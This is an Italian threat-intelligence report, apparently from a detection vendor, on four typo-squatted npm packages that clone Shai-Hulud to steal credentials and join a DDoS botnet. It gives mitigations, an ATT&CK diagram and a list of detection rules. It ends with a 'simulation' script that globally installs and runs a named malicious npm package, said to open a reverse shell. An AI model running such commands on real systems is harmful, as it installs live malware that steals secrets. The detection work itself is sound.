Shai-Hulud Cloni: Imitatori di TeamPCP Sono Qui
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
I ricercatori hanno scoperto quattro pacchetti npm dannosi che combinano funzionalità di furto di informazioni con capacità di negazione del servizio distribuito. Questi pacchetti impersonano librerie popolari attraverso typo-squatting e includono il codice open-source Shai-Hulud modificato per utilizzare server di comando e controllo controllati dagli aggressori. L’installazione di uno qualsiasi dei pacchetti può comportare il furto di credenziali, l’esfiltrazione di segreti cloud e, in un caso, l’iscrizione dell’host infetto in una botnet DDoS. Le scoperte mettono in luce il crescente rischio nella supply chain all’interno dell’ecosistema npm.
Indagine
Gli analisti hanno confrontato il pacchetto chalk-tempalte con il codice sorgente Shai-Hulud trapelato e hanno scoperto che è una copia quasi esatta, non offuscata, configurata con un endpoint di comando e controllo personalizzato. I pacchetti rimanenti trasmettevano dati rubati a domini malevoli separati o a un indirizzo IP sulla porta 2222, mentre una variante ha anche distribuito un servizio bot locale basato su Go utilizzato per attività DDoS. Tutti e quattro i pacchetti sono stati pubblicati dallo stesso account npm, rafforzando il legame tra di loro.
Mitigazione
Le organizzazioni dovrebbero rimuovere immediatamente i pacchetti dannosi da tutti i progetti ed eliminare gli artefatti di configurazione associati dagli ambienti di sviluppo e dai sistemi di build. Tutte le credenziali che possono essere state esposte dovrebbero essere ruotate e l’accesso alla rete ai domini e agli indirizzi IP malevoli identificati dovrebbe essere bloccato. I team dovrebbero anche monitorare le dipendenze npm per i pacchetti typo-squattati che imitano le stesse librerie legittime.
Risposta
I difensori dovrebbero creare rilevamenti per le connessioni in uscita ai domini di comando e controllo identificati e agli indirizzi IP, avvisare sull’installazione dei quattro nomi di pacchetti dannosi e scansionare i sistemi per la chiave pubblica incorporata collegata al malware. Qualsiasi sistema che abbia installato uno dei pacchetti dovrebbe essere sottoposto a revisione forense per determinare se siano stati distribuiti servizi persistenti, attività pianificate o payload aggiuntivi.
graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[“<b>Tecnica</b> – <b>T1195.002 Compromissione della Supply Chain</b><br/>Compromissione della supply chain software per accesso iniziale.”] class initial_access technique automated_collection[“<b>Tecnica</b> – <b>T1119 Raccolta Automatizzata</b><br/>Raccolta automatica di credenziali, variabili d’ambiente e file di configurazione cloud.”] class automated_collection technique creds_in_files[“<b>Tecnica</b> – <b>T1552.001 Credenziali Non Protette</b><br/>Credenziali memorizzate in file vengono raccolte.”] class creds_in_files technique private_keys[“<b>Tecnica</b> – <b>T1552.004 Credenziali Non Protette</b><br/>Chiavi private estratte da posizioni non sicure.”] class private_keys technique victim_identity[“<b>Tecnica</b> – <b>T1589 Raccolta Informazioni Identità Vittima</b><br/>Raccolta di identificatori personali della vittima.”] class victim_identity technique victim_org[“<b>Tecnica</b> – <b>T1591.001 Raccolta Informazioni Organizzazione Vittima</b><br/>Determinazione delle sedi fisiche dell’organizzazione.”] class victim_org technique code_repos[“<b>Tecnica</b> – <b>T1213.003 Dati da Repository Informativi</b><br/>Raccolta di repository di codice.”] class code_repos technique npm_persistence[“<b>Tecnica</b> – <b>T1176 Estensioni Software</b><br/>Persistenza tramite pacchetto npm malevolo.”] class npm_persistence technique exfil_over_http[“<b>Tecnica</b> – <b>T1011 Esfiltrazione su Altro Mezzo di Rete</b><br/>Invio dati a C2 via HTTP/HTTPS.”] class exfil_over_http technique cloud_transfer[“<b>Tecnica</b> – <b>T1537 Trasferimento Dati a Account Cloud</b><br/>Spostamento dati rubati nel cloud.”] class cloud_transfer technique initial_access –>|porta_a| automated_collection automated_collection –>|raccoglie| creds_in_files automated_collection –>|raccoglie| private_keys automated_collection –>|raccoglie| victim_identity automated_collection –>|raccoglie| victim_org automated_collection –>|raccoglie| code_repos automated_collection –>|raccoglie| npm_persistence creds_in_files –>|esfiltra| exfil_over_http private_keys –>|esfiltra| exfil_over_http victim_identity –>|esfiltra| exfil_over_http victim_org –>|esfiltra| exfil_over_http code_repos –>|esfiltra| exfil_over_http npm_persistence –>|esfiltra| exfil_over_http exfil_over_http –>|archivia_in| cloud_transfer
Flusso di attacco
Rilevamenti
Download di Eseguibili Sospetti (tramite proxy)
Visualizza
Possibile File di Configurazione Automatico di Vscode Creato in una Directory Insolita [MACOS] (tramite file_event)
Visualizza
Upload/Download Remoto di File tramite Strumenti Standard (tramite cmdline)
Visualizza
Possibile File di Configurazione Automatico di Vscode Creato in una Directory Insolita [LINUX] (tramite file_event)
Visualizza
File Nascosto Creato su Host Linux (tramite file_event)
Visualizza
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (tramite registry_event)
Visualizza
Possibile Utilizzo di Schtasks o AT per Persistenza (tramite cmdline)
Visualizza
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (tramite cmdline)
Visualizza
Binary/Script Sospetti nella Posizione di Avvio Automatico (tramite file_event)
Visualizza
Possibile Tentativo di Comunicazioni del Dominio Lookup IP (tramite dns)
Visualizza
Comando e Controllo Sospetto tramite Richiesta DNS di Dominio di Livello Superiore Insolito (TLD) (tramite dns)
Visualizza
Possibile Uso di Crontab per Esecuzione Diretta (tramite cmdline)
Visualizza
IOC (SourceIP) per rilevare: Nuovi Attori Distribuiscono Cloni di Shai-Hulud: Imitatori TeamPCP Sono Qui
Visualizza
IOC (DestinationIP) per rilevare: Nuovi Attori Distribuiscono Cloni di Shai-Hulud: Imitatori TeamPCP Sono Qui
Visualizza
Rilevamento delle Connessioni di Rete in Uscita ai Server C2 di Shai-Hulud [Firewall]
Visualizza
Rilevamento dell’Esecuzione di Pacchetti NPM Dannosi [Creazione Processo Windows]
Visualizza
Rilevamento dell’Esecuzione di Pacchetti npm Dannosi [Creazione Processo Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Preliminare di Telemetria e Baseline Deve Essere Stato Superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione dell’Attacco e Comandi:
- Ricognizione Iniziale (opzionale): L’attaccante enumera l’ambiente Node.js della vittima per confermare che
npmè presente. - Acquisizione del Pacchetto Dannoso: L’attaccante scarica un pacchetto npm dannoso che imita un’utilità legittima (es.,
@deadcode09284814/axios-util). - Installazione ed Esecuzione: Utilizzando una sola linea, l’attaccante installa il pacchetto a livello globale ed esegue immediatamente un payload JavaScript che apre una shell inversa.
- Persistenza (oltre l’ambito): L’attaccante potrebbe aggiungere il pacchetto dannoso a
package.jsonper riutilizzarlo in futuro.
- Ricognizione Iniziale (opzionale): L’attaccante enumera l’ambiente Node.js della vittima per confermare che
-
Script di Test di Regressione: Lo script riproduce esattamente i passaggi 2‑3, generando le stringhe della riga di comando che la regola Sigma corrisponde.
# malicious_npm_execution.sh # ------------------------------------------------- # 1️⃣ Assicurarsi che l'ambiente di esecuzione Node.js sia presente if ! command -v node >/dev/null 2>&1; then echo "[*] Installazione di Node.js e npm" sudo apt‑update && sudo apt‑install -y nodejs npm fi # 2️⃣ Installare il pacchetto npm dannoso (simulato) # (Sostituire con un pacchetto dannoso reale in un test reale) MALICIOUS_PKG="@deadcode09284814/axios-util" echo "[*] Installazione del pacchetto dannoso: $MALICIOUS_PKG" npm install -g "$MALICIOUS_PKG" # 3️⃣ Eseguire un payload fornito dal pacchetto # Qui semplicemente richiediamo il pacchetto; lo script postinstall del pacchetto # eseguirà il codice dell'attaccante. echo "[*] Attivazione del payload dannoso" node -e "require('$MALICIOUS_PKG');" # 4️⃣ Opzionale: Mantenere viva la shell per l'osservazione sleep 30 echo "[*] Test completato" # ------------------------------------------------- -
Comandi di Pulizia: Rimuovere il pacchetto dannoso e tutti i file generati.
# cleanup_malicious_npm.sh # ------------------------------------------------- echo "[*] Rimozione del pacchetto npm dannoso" npm uninstall -g "@deadcode09284814/axios-util" || true # Rimuovere eventuali residui node_modules dalla directory home rm -rf "$HOME/.npm/_cacache" echo "[*] Pulizia completata" # -------------------------------------------------